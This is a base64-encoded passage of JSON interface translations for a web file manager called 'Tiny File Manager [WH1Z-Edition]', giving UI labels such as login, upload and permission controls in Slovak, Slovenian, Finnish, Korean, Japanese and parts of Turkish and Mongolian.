lubGVyIiwiTW9kaWZpZWQiOiJTb24gRMO8emVubGVtZSIsIk93bmVyIjoiU2FoaWJpIiwiU2VhcmNoIjoiQXJhbWEiLCJOZXcgSXRlbSI6IlllbmkgRG9zeWEiLCJGb2xkZXIiOiJLbGFzw7ZyIiwiRGVsZXRlIjoiU2lsIiwiUmVuYW1lIjoiWWVuaWRlbiBBZGxhbmTEsXIiLCJDb3B5IHRvIjoixZ51cmF5YSBLb3B5YWxhIiwiRGlyZWN0IGxpbmsiOiJFcmnFn2ltIExpbmtpIiwiVXBsb2FkIEZpbGVzIjoiRG9zeWFsYXLEsSBZw7xrbGUiLCJDaGFuZ2UgUGVybWlzc2lvbnMiOiLEsHppbmxlcmkgRGXEn2nFn3RpciIsIkNvcHlpbmciOiJLb3B5YWxhbsSxeW9yIiwiQ3JlYXRlIE5ldyBJdGVtIjoiWWVuaSBEb3N5YSBPbHXFn3R1ciIsIk5hbWUiOiJBZCIsIkFkdmFuY2VkIEVkaXRvciI6IkdlbGnFn21pxZ8gRMO8emVubGV5aWNpIiwiUmVtZW1iZXIgTWUiOiJCZW5pIEhhdMSxcmxhIiwiQWN0aW9ucyI6IkhhcmVrZXRsZXIiLCJVcGxvYWQiOiJZw7xrbGUiLCJDYW5jZWwiOiLEsHB0YWwgRXQiLCJJbnZlcnQgU2VsZWN0aW9uIjoiU2XDp2ltaSBHZXJpIEFsIiwiRGVzdGluYXRpb24gRm9sZGVyIjoiSGVkZWYga2xhc8O2ciIsIkl0ZW0gVHlwZSI6IkRvc3lhIFTDvHLDvCIsIkl0ZW0gTmFtZSI6IkRvc3lhIEFkxLEiLCJDcmVhdGUgTm93IjoiT2x1xZ90dXIiLCJEb3dubG9hZCI6IsSwbmRpciIsIk9wZW4iOiJBw6ciLCJVblppcCI6IkFyxZ9pdmRlbiDDp8Sxa2FydCIsIlVuWmlwIHRvIGZvbGRlciI6IktsYXPDtnJlIMOHxLFrYXJ0IiwiRWRpdCI6IkTDvHplbmxlIiwiTm9ybWFsIEVkaXRvciI6Ik5vcm1hbCBEw7x6ZW5sZXlpY2kiLCJCYWNrIFVwIjoiWWVkZWtsZSIsIlNvdXJjZSBGb2xkZXIiOiJLYXluYWsgS2xhc8O2ciIsIkZpbGVzIjoiRG9zeWFsYXIiLCJDaGFuZ2UiOiJEZcSfacWfaW0iLCJTZXR0aW5ncyI6IkF5YXJsYXIiLCJMYW5ndWFnZSI6IkRpbCIsIk1lbW9yeSB1c2VkIjoiS3VsbGFuxLFsYW4gQmVsbGVrIiwiUGFydGl0aW9uIHNpemUiOiJEaXNrIEJveXV0dSIsIkVycm9yIFJlcG9ydGluZyI6IkhhdGEgUmFwb3JsYW1hIiwiU2hvdyBIaWRkZW4gRmlsZXMiOiJHaXpsaSBEb3N5YWxhcsSxIEfDtnN0ZXIiLCJGdWxsIHNpemUiOiJUb3BsYW0gQm95dXQiLCJIZWxwIjoiWWFyZMSxbSIsIkZyZWUgb2YiOiJCb8WfIE9sYW4iLCJQcmV2aWV3IjoiR8O2csO8bnTDvGxlIiwiSGVscCBEb2N1bWVudHMiOiJEw7Zrw7xtYW5sYXIiLCJSZXBvcnQgSXNzdWUiOiJTb3J1biBCaWxkaXIiLCJHZW5lcmF0ZSI6Ik9sdcWfdHVyIiwiRnVsbCBTaXplIjoiVG9wbGFtIEJveXV0IiwiZnJlZSBvZiI6IkJvxZ8gb2xhbiIsIkNhbGN1bGF0ZSBmb2xkZXIgc2l6ZSI6IktsYXPDtnIgQm95dXRsYXLEsW7EsSBIZXNhcGxhIiwiQ2hlY2sgTGF0ZXN0IFZlcnNpb24iOiJHw7xuY2VsIFPDvHLDvG3DvCBLb250cm9sIEV0IiwiR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2giOiJQYXJvbGEgacOnaW4gSGFzaCDDnHJldCIsIkhpZGUgUGVybXMvT3duZXIgY29sdW1ucyI6IllldGtpIC8gU2FoaXAgU8O8dHVudW51IEdpemxlIn19LHsibmFtZSI6IlNsb3ZlbnNreSIsImNvZGUiOiJzayIsInRyYW5zbGF0aW9uIjp7IkFwcE5hbWUiOiJUaW55IEZpbGUgTWFuYWdlciBbV0gxWi1FZGl0aW9uXSIsIkFwcFRpdGxlIjoiRmlsZSBNYW5hZ2VyIiwiTG9naW4iOiJQcmlobMOhc2nFpSBzYSIsIlVzZXJuYW1lIjoiUHJpaGxhc292YWNpZSBtZW5vIiwiUGFzc3dvcmQiOiJIZXNsbyIsIkxvZ291dCI6Ik9kaGzDoXNpxaUiLCJNb3ZlIjoiUHJlc3Vuw7rFpSIsIkNvcHkiOiJLb3DDrXJvdmHFpSIsIlNhdmUiOiJVbG/FvmnFpSIsIlNlbGVjdEFsbCI6IlZ5YnJhxaUgdsWhZXRrbyIsIlVuU2VsZWN0QWxsIjoiWnJ1xaFpxaUgdsO9YmVyIiwiRmlsZSI6IlPDumJvciIsIkJhY2siOiJTcMOkxaUiLCJTaXplIjoiVmXEvmtvc8WlIiwiUGVybXMiOiJPcHLDoXZuZW5pYSIsIk1vZGlmaWVkIjoiWm1lbmVuw6kiLCJPd25lciI6IlZsYXN0bsOtayIsIlNlYXJjaCI6IkjEvmFkYcWlIiwiTmV3SXRlbSI6Ik5vdsO9IHPDumJvciIsIkZvbGRlciI6IlByaWXEjWlub2siLCJEZWxldGUiOiJabWF6YcWlIiwiUmVuYW1lIjoiUHJlbWVub3ZhxaUiLCJDb3B5VG8iOiJLb3DDrXJvdmHFpSBkbyIsIkRpcmVjdExpbmsiOiJQcmlhbXkgb2RrYXoiLCJVcGxvYWRpbmdGaWxlcyI6Ik5haHJhxaUgc8O6Ym9yeSIsIkNoYW5nZVBlcm1pc3Npb25zIjoiWm1lbmnFpSBvcHLDoXZuZW5pYSIsIkNvcHlpbmciOiJLb3DDrXJvdmFuaWUiLCJDcmVhdGVOZXdJdGVtIjoiVnl0dm9yacWlIG5vdsO9IHPDumJvciIsIk5hbWUiOiJOw6F6b3YiLCJBZHZhbmNlZEVkaXRvciI6IlBva3JvxI1pbMO9IGVkaXRvciIsIlJlbWVtYmVyTWUiOiJaYXBhbcOkdGHFpSIsIkFjdGlvbnMiOiJBa2NpZSIsIlVwbG9hZCI6Ik5haHJhxaUiLCJDYW5jZWwiOiJacnXFoWnFpSIsIkludmVydFNlbGVjdGlvbiI6Ik9icsOhdGnFpSB2w71iZXIiLCJEZXN0aW5hdGlvbkZvbGRlciI6IkNpZcS+b3bDvSBwcmllxI1pbm9rIiwiSXRlbVR5cGUiOiJUeXAgc8O6Ym9ydSIsIkl0ZW1OYW1lIjoiTsOhem92IHPDumJvcnUiLCJDcmVhdGVOb3ciOiJWeXR2b3JpxaUiLCJEb3dubG9hZCI6IlN0aWFobsO6xaUiLCJPcGVuIjoiT3R2b3JpxaUiLCJVblppcCI6IlJvemJhbGnFpSIsIlVuWmlwVG9Gb2xkZXIiOiJSb3piYWxpxaUgZG8iLCJFZGl0IjoiVXByYXZpxaUiLCJOb3JtYWxFZGl0b3IiOiJFZGl0b3IiLCJCYWNrVXAiOiJaw6Fsb2hhIiwiU291cmNlRm9sZGVyIjoiWmRyb2pvdsO9IHByaWXEjWlub2siLCJGaWxlcyI6IlPDumJvcnkiLCJDaGFuZ2UiOiJabWVuacWlIiwiU2V0dGluZ3MiOiJOYXN0YXZlbmlhIiwiTGFuZ3VhZ2UiOiJKYXp5ayIsIk1lbW9yeVVzZWQiOiJWeXXFvml0w6EgcGFtw6TFpSIsIlBhcnRpdGlvblNpemUiOiJWZcS+a29zxaUgb2RkaWVsdSIsIkVycm9yUmVwb3J0aW5nIjoiSGzDoXNlbmllIGNow71iIiwiU2hvd0hpZGRlbkZpbGVzIjoiWm9icmF6acWlIHNrcnl0w6kgc8O6Ym9yeSIsIlByZXZpZXciOiJOw6FoxL5hZCIsIkhlbHAiOiJQb21vYyIsIkZ1bGxTaXplIjoiQ2Vsa292w6EgdmXEvmtvc8WlIiwiRnJlZU9mIjoidm/Evm7DqSB6In19LHsibmFtZSI6IlNsb3ZlbnNrbyIsImNvZGUiOiJzbCIsInRyYW5zbGF0aW9uIjp7IkFwcE5hbWUiOiJUaW55IEZpbGUgTWFuYWdlciBbV0gxWi1FZGl0aW9uXSIsIkFwcFRpdGxlIjoiUmF6aXNrb3ZhbGVjIiwiTG9naW4iOiJQcmlqYXZhIiwiVXNlcm5hbWUiOiJVcG9yYWJuacWha28gaW1lIiwiUGFzc3dvcmQiOiJHZXNsbyIsIkxvZ291dCI6Ik9kamF2YSIsIk1vdmUiOiJQcmVtYWtuaSIsIkNvcHkiOiJLb3BpcmFqIiwiU2F2ZSI6IlNocmFuaSIsIlNlbGVjdEFsbCI6Ikl6YmVyaSB2c2UiLCJVblNlbGVjdEFsbCI6Ikl6YmVyaSBuacSNIiwiRmlsZSI6IkRhdG90ZWthIiwiQmFjayI6Ik5hemFqIiwiU2l6ZSI6IlZlbGlrb3N0IiwiUGVybXMiOiJQcmF2aWNlIiwiTW9kaWZpZWQiOiJTcHJlbWVuamVubyIsIk93bmVyIjoiTGFzdG5payIsIlNlYXJjaCI6Iklza2FuamUiLCJOZXdJdGVtIjoiTm92IG9iamVrdCIsIkZvbGRlciI6Ik1hcGEiLCJEZWxldGUiOiJJemJyacWhaSIsIlJlbmFtZSI6IlByZWltZW51aiIsIkNvcHlUbyI6IktvcGlyYWogdiIsIkRpcmVjdExpbmsiOiJEaXJla3RsaW5rIiwiVXBsb2FkaW5nRmlsZXMiOiJOYWxvxb5pIGRhdG90ZWtvIiwiQ2hhbmdlUGVybWlzc2lvbnMiOiJTcHJlbWVuaSBwcmF2aWNlIiwiQ29weWluZyI6IktvcGlyYW5qZSIsIkNyZWF0ZU5ld0l0ZW0iOiJVc3R2YXJpIG5vdiBvYmpla3QiLCJOYW1lIjoiSW1lIiwiQWR2YW5jZWRFZGl0b3IiOiJSYXrFoWlyamVuaSB1cmVqZXZhbG5payIsIlJlbWVtYmVyTWUiOiJPc3RhbmkgcHJpamF2bGplbiIsIkFjdGlvbnMiOiJBa3Rpdm5vc3RpIiwiVXBsb2FkIjoiTmFsb8W+aSIsIkNhbmNlbCI6IlByZWtsacSNaSIsIkludmVydFNlbGVjdGlvbiI6Ik9icm5pIGl6Ym9yIiwiRGVzdGluYXRpb25Gb2xkZXIiOiJDaWxqbmEgbWFwYSIsIkl0ZW1UeXBlIjoiVGlwIG9iamVrdGEiLCJJdGVtTmFtZSI6IkltZSBvYmpla3RhIiwiQ3JlYXRlTm93IjoiVXN0dmFyaSBub3YiLCJEb3dubG9hZCI6IlByZW5lc2kiLCJPcGVuIjoiT2RwcmkiLCJVblppcCI6IlJhesWhaXJpIiwiVW5aaXBUb0ZvbGRlciI6IlJhesWhaXJpIHYgbWFwbyIsIkVkaXQiOiJVcmVkaSIsIk5vcm1hbEVkaXRvciI6IlN0YW5kYXJkbmkgdXJlamV2YWxuaWsiLCJCYWNrVXAiOiJWYXJub3N0bmEga29waWphIiwiU291cmNlRm9sZGVyIjoiSXpob2RpxaHEjW5hIG1hcGEiLCJGaWxlcyI6IkRhdG90ZWtlIiwiQ2hhbmdlIjoiU3ByZW1lbmkiLCJTZXR0aW5ncyI6Ik5hc3Rhdml0dmUiLCJMYW5ndWFnZSI6IkplemlrIiwiWW91IGFyZSBsb2dnZWQgaW4iOiJTdGUgdXNwZcWhbm8gcHJpamF2bGplbmkiLCJMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQiOiJQcmlqYXZhIGplIHNwb2RsZXRlbGEuIE5hcGHEjW5vIHVwb3JhYm5pxaFrbyBpbWUgYWxpIGdlc2xvLiIsInBhc3N3b3JkX2hhc2ggbm90IHN1cHBvcnRlZCwgVXBncmFkZSBQSFAgdmVyc2lvbiI6InBhc3N3b3JkX2hhc2ggbmkgcG9kcHJ0LCBuYWRncmFkaXRlIHJhemxpxI1pY28gUEhQIn19LHsibmFtZSI6IlN1b21pIiwiY29kZSI6ImZpIiwidHJhbnNsYXRpb24iOnsiQXBwTmFtZSI6IlRpbnkgRmlsZSBNYW5hZ2VyIFtXSDFaLUVkaXRpb25dIiwiQXBwVGl0bGUiOiJGaWxlIE1hbmFnZXIiLCJMb2dpbiI6IktpcmphdXR1bWluZW4iLCJVc2VybmFtZSI6IkvDpHl0dMOkasOkbmltaSIsIlBhc3N3b3JkIjoiU2FsYXNhbmEiLCJMb2dvdXQiOiJLaXJqYXVkdSB1bG9zIiwiTW92ZSI6IlNpaXJyw6QiLCJDb3B5IjoiS29waW9pIiwiU2F2ZSI6IlRhbGxlbm5hIiwiU2VsZWN0QWxsIjoiVmFsaXRzZSBrYWlra2kiLCJVblNlbGVjdEFsbCI6IlBvaXN0YSB2YWxpbm5hdCIsIkZpbGUiOiJUaWVkb3N0byIsIkJhY2siOiJUYWthaXNpbiIsIlNpemUiOiJLb2tvIiwiUGVybXMiOiJPaWtldWRldCIsIk1vZGlmaWVkIjoiTXVva2F0dHUiLCJPd25lciI6Ik9taXN0YWphIiwiU2VhcmNoIjoiSGFrdSIsIk5ld0l0ZW0iOiJMdW8gdXVzaS4uLiIsIkZvbGRlciI6IkthbnNpbyIsIkRlbGV0ZSI6IlBvaXN0YSIsIlJlbmFtZSI6Ik5pbWXDpCB1dWRlbGxlZW4iLCJDb3B5VG8iOiJLb3Bpb2kga29odGVlc2VlbiIsIkRpcmVjdExpbmsiOiJTdW9yYSBsaW5ra2kiLCJVcGxvYWRpbmdGaWxlcyI6IlNpaXJyw6QgdGllZG9zdG9qYSIsIkNoYW5nZVBlcm1pc3Npb25zIjoiTXV1dGEgb2lrZXVrc2lhIiwiQ29weWluZyI6IktvcGlvaWRhYW4iLCJDcmVhdGVOZXdJdGVtIjoiTHVvIHV1c2kgdGllZG9zdG8gdGFpIGthbnNpbyIsIk5hbWUiOiJOaW1pIiwiQWR2YW5jZWRFZGl0b3IiOiJFZGlzdHlueXQgZWRpdG9yaSIsIlJlbWVtYmVyTWUiOiJNdWlzdGEgbWludXQiLCJBY3Rpb25zIjoiVG9pbWlubm90IiwiVXBsb2FkIjoiVmllIiwiQ2FuY2VsIjoiUGVydXV0YSIsIkludmVydFNlbGVjdGlvbiI6IlZhaWhkYSB2YWxpbnRhIiwiRGVzdGluYXRpb25Gb2xkZXIiOiJLb2hkZWthbnNpbyIsIkl0ZW1UeXBlIjoiVGllZG9zdG9uIHR5eXBwaSIsIkl0ZW1OYW1lIjoiTmltaSIsIkNyZWF0ZU5vdyI6Ikx1byBueXQiLCJEb3dubG9hZCI6IkxhdGFhIiwiT3BlbiI6IkF2YWEiLCJVblppcCI6IlB1cmEiLCJVblppcFRvRm9sZGVyIjoiUHVyYSBrYW5zaW9vbiIsIkVkaXQiOiJNdW9ra2FhIiwiTm9ybWFsRWRpdG9yIjoiRWRpdG9yaSIsIkJhY2tVcCI6IlZhcm11dXNrb3Bpb2kiLCJTb3VyY2VGb2xkZXIiOiJLb2hkZWthbnNpbyIsIkZpbGVzIjoiVGllZG9zdG90IiwiQ2hhbmdlIjoiVmFpaGRhIiwiU2V0dGluZ3MiOiJBc2V0dWtzZXQiLCJMYW5ndWFnZSI6IktpZWxpIiwiTWVtb3J5VXNlZCI6Ik11aXN0aWEga8OkeXRldHR5IiwiUGFydGl0aW9uU2l6ZSI6Ik9zaW9uIGtva28iLCJFcnJvclJlcG9ydGluZyI6IlZpcmhlcmFwb3J0aXQiLCJTaG93SGlkZGVuRmlsZXMiOiJOw6R5dMOkIHBpaWxvdGllZG9zdG90IiwiUHJldmlldyI6IkVzaWthdHNlbGUiLCJIZWxwIjoiQXB1YSIsIkZ1bGxTaXplIjoiVMOkeXNpa29rb2luZW4iLCJGcmVlT2YiOiJWYXBhYW5hIiwiQ2FsY3VsYXRlRm9sZGVyU2l6ZSI6Ikxhc2tlIGthbnNpb24ga29rbyIsIkNoZWNrTGF0ZXN0VmVyc2lvbiI6IlRhcmtpc3RhIHDDpGl2aXR5a3NldCIsIkdlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoIjoiTHVvIHV1c2kgc2FsYXNhbmEtaGFzaCIsIkhpZGVDb2x1bW5zIjoiUGlpbG90YSBvaWtldWRldC0vb21pc3RhamEtc2FyYWtrZWV0In19LHsibmFtZSI6Iu2VnOq1reyWtCIsImNvZGUiOiJrbyIsInRyYW5zbGF0aW9uIjp7IlRpbnkgRmlsZSBNYW5hZ2VyIjoiVGlueSBGaWxlIE1hbmFnZXIiLCJGaWxlIE1hbmFnZXIiOiJGaWxlIE1hbmFnZXIiLCJTaWduIGluIjoi66Gc6re47J24IiwiVXNlcm5hbWUiOiLslYTsnbTrlJQiLCJQYXNzd29yZCI6Iuu5hOuwgOuyiO2YuCIsIlNpZ24gT3V0Ijoi66Gc6re47JWE7JuDIiwiTW92ZSI6IuydtOuPmSIsIkNvcHkiOiLrs7XsgqwiLCJTYXZlIjoi7KCA7J6lIiwiU2VsZWN0IGFsbCI6IuyghOyytCDshKDtg50iLCJVbnNlbGVjdCBhbGwiOiLshKDtg50g7ZW07KCcIiwiRmlsZSI6Iu2MjOydvCIsIkJhY2siOiLrkqTroZwiLCJTaXplIjoi7Jqp65+JIiwiUGVybXMiOiLqtoztlZwiLCJNb2RpZmllZCI6IuuniOyngOuniSDsiJjsoJUiLCJPd25lciI6IuyGjOycoOyekCIsIlNlYXJjaCI6IuqygOyDiSIsIk5ldyBJdGVtIjoi7IOI66GcIOunjOuTpOq4sCIsIkZvbGRlciI6Iu2PtOuNlCIsIkRlbGV0ZSI6IuyCreygnCIsIlJlbmFtZSI6IuydtOumhCDrs4Dqsr0iLCJDb3B5IHRvIjoi7KeA7KCV65CcIOychOy5mOuhnCDrs7XsgqwiLCJEaXJlY3QgbGluayI6Iuunge2BrCIsIlVwbG9hZCBGaWxlcyI6Iu2MjOydvCDsl4XroZzrk5wiLCJDaGFuZ2UgUGVybWlzc2lvbnMiOiLqtoztlZwg67OA6rK9IiwiQ29weWluZyI6IuuzteyCrCDspJEiLCJDcmVhdGUgTmV3IEl0ZW0iOiLsg4jroZwg66eM65Ok6riwIiwiTmFtZSI6IuydtOumhCIsIkFkdmFuY2VkIEVkaXRvciI6IuqzoOq4iSDsl5DrlJTthLAiLCJSZW1lbWJlciBNZSI6IuuhnOq3uOyduCDsoJXrs7Qg7KCA7J6lIiwiQWN0aW9ucyI6IuyVoeyFmCIsIlVwbG9hZCI6IuyXheuhnOuTnCIsIkNhbmNlbCI6Iuy3qOyGjCIsIkludmVydCBTZWxlY3Rpb24iOiLshKDtg50g67CY7KCEIiwiRGVzdGluYXRpb24gRm9sZGVyIjoi64yA7IOBIO2PtOuNlCIsIkl0ZW0gVHlwZSI6IuycoO2YlSIsIkl0ZW0gTmFtZSI6IuydtOumhCIsIkNyZWF0ZSBOb3ciOiLtmZXsnbgiLCJEb3dubG9hZCI6IuuLpOyatOuhnOuTnCIsIk9wZW4iOiLsl7TquLAiLCJVblppcCI6IuyVley2lSDtlbTsoJwiLCJVblppcCB0byBmb2xkZXIiOiLsp4DsoJXrkJwg7Y+0642U7JeQIOyVley2lSDtlbTsoJwiLCJFZGl0Ijoi7Y647KeRIiwiTm9ybWFsIEVkaXRvciI6IuydvOuwmCDsl5DrlJTthLAiLCJCYWNrIFVwIjoi67Cx7JeFIiwiU291cmNlIEZvbGRlciI6IuybkOuzuCDtj7TrjZQiLCJGaWxlcyI6Iu2MjOydvCIsIkNoYW5nZSI6IuuzgOqyve2VmOq4sCIsIlNldHRpbmdzIjoi7ISk7KCVIiwiTGFuZ3VhZ2UiOiLslrjslrQiLCJNZW1vcnkgdXNlZCI6IuuplOuqqOumrCDsgqzsmqnrn4kiLCJQYXJ0aXRpb24gc2l6ZSI6IuuCqOydgCDsmqnrn4kiLCJFcnJvciBSZXBvcnRpbmciOiLsmKTrpZgg67O06rOgIiwiU2hvdyBIaWRkZW4gRmlsZXMiOiLsiKjqsqjsp4Qg7YyM7J28IOuztOq4sCIsIkZ1bGwgc2l6ZSI6Iu2YhOyerCDtj7TrjZQg7YyM7J28IOyaqeufiSIsIkhlbHAiOiLrj4Tsm4Drp5AiLCJGcmVlIG9mIjoi7YyM7Yuw7IWYIOy0nSDsmqnrn4k6IiwiUHJldmlldyI6IuuvuOumrCDrs7TquLAiLCJIZWxwIERvY3VtZW50cyI6IuywuOqzoCDrrLjshJwiLCJSZXBvcnQgSXNzdWUiOiLsnbTsiogg67O06rOgIiwiR2VuZXJhdGUiOiLsg53shLEiLCJGdWxsIFNpemUiOiLstJ0g7Jqp65+JIiwiZnJlZSBvZiI6IuyCrOyaqSDqsIDriqUg7Jqp65+JIiwiQ2FsY3VsYXRlIGZvbGRlciBzaXplIjoi7Y+0642UIOyaqeufiSDtkZzsi5wiLCJDaGVjayBMYXRlc3QgVmVyc2lvbiI6Iuy1nOyLoCDrsoTsoIQg7LK07YGsIiwiR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2giOiLsg4gg67mE67CA67KI7Zi4IO2VtOyLnCDsg53shLEiLCJIaWRlIFBlcm1zL093bmVyIGNvbHVtbnMiOiLqtoztlZwv7IaM7Jyg7J6QIOyIqOq4sOq4sCJ9fSx7Im5hbWUiOiLml6XmnKzoqp4iLCJjb2RlIjoiamEiLCJ0cmFuc2xhdGlvbiI6eyJBcHBOYW1lIjoiVGlueSBGaWxlIE1hbmFnZXIgW1dIMVotRWRpdGlvbl0iLCJBcHBUaXRsZSI6IkZpbGUgTWFuYWdlciIsIkxvZ2luIjoi44Ot44Kw44Kk44OzIiwiVXNlcm5hbWUiOiJVc2VybmFtZSIsIlBhc3N3b3JkIjoiUGFzc3dvcmQiLCJMb2dvdXQiOiLjg63jgrDjgqLjgqbjg4giLCJNb3ZlIjoi56e75YuVIiwiQ29weSI6IuOCs+ODlOODvCIsIlNhdmUiOiLkv53lrZgiLCJTZWxlY3RBbGwiOiLjgZnjgbnjgabpgbjmip4iLCJVblNlbGVjdEFsbCI6IumBuOaKnuino+mZpCIsIkZpbGUiOiLjg5XjgqHjgqTjg6siLCJCYWNrIjoi5oi744KLIiwiU2l6ZSI6IuOCteOCpOOCuiIsIlBlcm1zIjoi5qip6ZmQIiwiTW9kaWZpZWQiOiLmm7TmlrDml6XmmYIiLCJPd25lciI6IuaJgOacieiAhSIsIlNlYXJjaCI6IuaknOe0oiIsIk5ld0l0ZW0iOiLmlrDopo/kvZzmiJAiLCJGb2xkZXIiOiLjg5Xjgqnjg6vjg4AiLCJEZWxldGUiOiLliYrpmaQiLCJSZW5hbWUiOiLlkI3liY3jga7lpInmm7QiLCJDb3B5VG8iOiLlrpvlhYjjgpLmjIflrprjgZfjgabjgrPjg5Tjg7wiLCJEaXJlY3RMaW5rIjoi55u05o6l44Oq44Oz44KvIiwiVXBsb2FkaW5nRmlsZXMiOiLjg5XjgqHjgqTjg6vjgpLjgqLjg4Pjg5fjg63jg7zjg4kiLCJDaGFuZ2VQZXJtaXNzaW9ucyI6IuaoqemZkOOCkuWkieabtCIsIkNvcHlpbmciOiLjg5XjgqHjgqTjg6vjgpLjgrPjg5Tjg7wiLCJDcmVhdGVOZXdJdGVtIjoi5paw6KaP5L2c5oiQIiwiTmFtZSI6IuWQjeWJjSIsIkFkdmFuY2VkRWRpdG9yIjoi5ouh5by144Ko44OH44Kj44K/44Gn57eo6ZuGIiwiUmVtZW1iZXJNZSI6IlJlbWVtYmVyIE1lIiwiQWN0aW9ucyI6IuOCouOCr+OCt+ODp+ODsyIsIlVwbG9hZCI6IuOCouODg+ODl+ODreODvOODiSIsIkNhbmNlbCI6IuOCreODo+ODs+OCu+ODqyIsIkludmVydFNlbGVjdGlvbiI6IumBuOaKnuOBruWIh+OCiuabv+OBiCIsIkRlc3RpbmF0aW9uRm9sZGVyIjoi5a6b5YWI44OV44Kp44Or44OAIiwiSXRlbVR5cGUiOiLnqK7poZ4iLCJJdGVtTmFtZSI6IuWQjeWJjSIsIkNyZWF0ZU5vdyI6IuS9nOaIkOOBmeOCiyIsIkRvd25sb2FkIjoi44OA44Km44Oz44Ot44O844OJIiwiT3BlbiI6IumWi+OBjyIsIlVuWmlwIjoi6Kej5YeNIiwiVW5aaXBUb0ZvbGRlciI6IuODleOCqeODq+ODgOOBq+ino+WHjSIsIkVkaXQiOiLnt6jpm4YiLCJOb3JtYWxFZGl0b3IiOiLpgJrluLjjgqjjg4fjgqPjgr/jgafnt6jpm4YiLCJCYWNrVXAiOiLjg5Djg4Pjgq/jgqLjg4Pjg5ciLCJTb3VyY2VGb2xkZXIiOiLlhYPjg5Xjgqnjg6vjg4AiLCJGaWxlcyI6IuODleOCoeOCpOODqyIsIkNoYW5nZSI6IuWkieabtCIsIlNldHRpbmdzIjoi6Kit5a6aIiwiTGFuZ3VhZ2UiOiLoqIDoqp4iLCJNZW1vcnlVc2VkIjoi44Oh44Oi44Oq5L2/55So6YePIiwiUGFydGl0aW9uU2l6ZSI6IuODkeODvOODhuOCo+OCt+ODp+ODs+OCteOCpOOCuiIsIkVycm9yUmVwb3J0aW5nIjoi44Ko44Op44O844KS6KGo56S6IiwiU2hvd0hpZGRlbkZpbGVzIjoi6Zqg44GX44OV44Kh44Kk44Or44KS6KGo56S6IiwiRnVsbCBzaXplIjoi5ZCI6KiI44K144Kk44K6IiwiSGVscCI6IuODmOODq+ODlyIsIkZyZWUgb2YiOiJmcmVlIG9mIiwiUHJldmlldyI6IuODl+ODrOODk+ODpeODvCIsIkhlbHAgRG9jdW1lbnRzIjoi44OY44Or44OX44OJ44Kt44Ol44Oh44Oz44OIIiwiUmVwb3J0IElzc3VlIjoi5ZWP6aGM44KS5aCx5ZGKIiwiR2VuZXJhdGUiOiLnlJ/miJAiLCJGdWxsU2l6ZSI6IuWQiOioiOOCteOCpOOCuiIsIkZyZWVPZiI6ImZyZWUgb2YiLCJDYWxjdWxhdGVGb2xkZXJTaXplIjoi44OV44Kp44Or44OA44K144Kk44K644KS6KiI566XIiwiUHJvY2Vzc0lEIjoi44OX44Ot44K744K5SUQiLCJIaWRlQ29sdW1ucyI6IuaoqemZkOODu+aJgOacieiAheOCkumdnuihqOekuiIsIkNoZWNrIExhdGVzdCBWZXJzaW9uIjoi5pu05paw44Gu56K66KqNIiwiR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2giOiLjg5Hjgrnjg6/jg7zjg4njg4/jg4Pjgrfjg6XjgpLnlJ/miJAiLCJGb2xkZXIgaXMgZW1wdHkiOiLnqbrjga7jg5Xjgqnjg6vjg4DjgafjgZkiLCJDcmVhdGVkIjoi5L2c5oiQ44GX44G+44GX44GfIiwiWW91IGFyZSBsb2dnZWQgaW4iOiLjg63jgrDjgqTjg7PjgZfjgb7jgZfjgZ8iLCJMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQiOiJVc2VybmFtZSDjgoLjgZfjgY/jga8gUGFzc3dvcmQg44GM6YGV44GE44G+44GZIiwicGFzc3dvcmRfaGFzaCBub3Qgc3VwcG9ydGVkLCBVcGdyYWRlIFBIUCB2ZXJzaW9uIjoicGFzc3dvcmRfaGFzaCDjgYzjgrXjg53jg7zjg4jjgZXjgozjgabjgYTjgb7jgZvjgpPjgIJQSFDjgpLjgqLjg4Pjg5fjgrDjg6zjg7zjg4njgZfjgabjgY/jgaDjgZXjgYQiLCJHcm91cCI6IuOCsOODq+ODvOODlyIsIk90aGVyIjoi44Gd44Gu5LuWIiwiUmVhZCI6IuiqreOBv+i+vOOBvyIsIldyaXRlIjoi5pu444GN6L6844G/IiwiRXhlY3V0ZSI6IuWun+ihjCJ9fSx7Im5hbWUiOiLQnNC+0L3Qs9C+0LsiLCJjb2RlIjoibW5fTU4iLCJ0cmFuc2xhdGlvbiI6eyJBcHBOYW1lIjoiVGlueSBGaWxlIE1hbmFnZXIgW1dIMVotRWRpdGlvbl0iLCJBcHBUaXRsZSI6ItCk0LDQudC7INC30L7RhdC40YbRg9GD0LvQsNCz0YdyIiwiTG9naW4iOiLQndGN0LLRgtGA0Y3RhSIsIlVzZXJuYW1lIjoi0KXRjdGA0Y3Qs9C70Y3Qs9GH0LjQudC9INC90Y3RgCIsIlBhc3N3b3JkIjoi0J3Rg9GD0YYg0q/QsyIsIkxvZ291dCI6ItCT0LDRgNCw0YUiLCJNb3ZlIjoi0JfTqdOp0YUiLCJDb3B5Ijoi0KXRg9GD0LvQsNGFIiwiU2F2ZSI6ItCl0LDQtNCz0LDQu9Cw0YUiLCJTZWxlY3RBbGwiOiLQkdKv0LPQtNC40LnQsyDRgdC+0L3Qs9C+0YUiLCJVblNlbGVjdEFsbCI6ItCR0q/Qs9C00LjQudCzINGG0Y3QstGN0YDQu9GN0YUiLCJGaWxlIjoi0KTQsNC50LsiLCJCYWNrIjoi0JHRg9GG0LDRhSIsIlNpemUiOiLQpdGN0LzQttGN0Y0iLCJQZXJtcyI6ItCt0YDRhSIsIk1vZGlmaWVkIjoi06jTqdGA0YfQu9Op0LPQtNGB06nQvSIsIk93bmVyIjoi0K3Qt9GN0L0iLCJTZWFyY2giOiLQpdCw0LnRhSIsIk5ld0l0ZW0iOiLQqNC40L3RjSDQt9Kv0LnQuyIsIkZvbGRlciI6ItCl0LDQstGC0LDRgSIsIkRlbGV0ZSI6ItCj0YHRgtCz0LDRhSIsIlJlbmFtZSI6ItCd0Y3RgCDRgdC+0LvQuNGFIiwiQ29weVRvIjoi0KDRg9GDINGF0YPRg9C70LDRhSIsIkRpcmVjdExpbmsiOiLQqNGD0YPQtCDRhdC+0LvQsdC+0L7RgSIsIlVwbG9hZGluZ0ZpbGVzIjoi0KTQsNC50LvRg9GD0LTRi9CzINGF0YPRg9C70LYg0LHQsNC50L3